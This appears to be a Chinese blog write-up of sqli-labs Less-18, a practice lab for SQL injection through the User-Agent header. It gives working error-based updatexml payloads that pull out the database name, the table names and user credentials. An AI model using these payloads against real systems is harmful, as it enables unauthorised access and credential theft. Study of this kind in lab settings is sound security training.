sqlilab-Less-18

知识铺垫

User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。user-agent的作用。通过识别用户身份,响应合适的web界面,所以更改可以让电脑返回一个手机界面,是不是很神奇

复制代码
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

那为什么http头部可以进行注入?结合网上资料由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。任何与数据库交互的地方都是有可能会有sql注入漏洞的。没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

题目解析

一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,会出现user agent,但是错误的账号,则不会显示,,说明我们要从这里入手,那么问题就很简单了,那么我们就可以尝试抓包然后在User-Agent中进行注入

当我们在后面加上单引号的时候,发现页面报错了

admin是我们的用户名,127.0.0.1是我们的地址,他可能把我们这是三个打印出来,然后在显示出来,我们可以一下,传入三个字符串,这里我尝试构造一个 ,1,1)#,成功了。

查看源码

接下来就简单多了

爆数据库

复制代码
User-Agent: ''1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

爆表名

复制代码
User-Agent:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'

第一个这样子长度受限制了,只能一个个去尝试了

复制代码
User-Agent:1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and'

User-Agent:1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'
相关推荐
Amctwd4 小时前
【SQL】如何在 SQL 中统计结构化字符串的特征频率
数据库·sql
lqlj223311 小时前
Spark SQL 读取 CSV 文件,并将数据写入 MySQL 数据库
数据库·sql·spark
遗憾皆是温柔11 小时前
MyBatis—动态 SQL
java·数据库·ide·sql·mybatis
未来之窗软件服务12 小时前
Cacti 未经身份验证SQL注入漏洞
android·数据库·sql·服务器安全
_星辰大海乀13 小时前
表的设计、聚合函数
java·数据结构·数据库·sql·mysql·数据库开发
tebukaopu14819 小时前
官方 Elasticsearch SQL NLPChina Elasticsearch SQL
大数据·sql·elasticsearch
IT小郭.19 小时前
使用 Docker Desktop 安装 Neo4j 知识图谱
windows·python·sql·docker·知识图谱·database·neo4j
愛~杦辷个訾1 天前
芋道项目,商城模块数据表结构
java·sql·芋道·yudao-cloud·芋道商城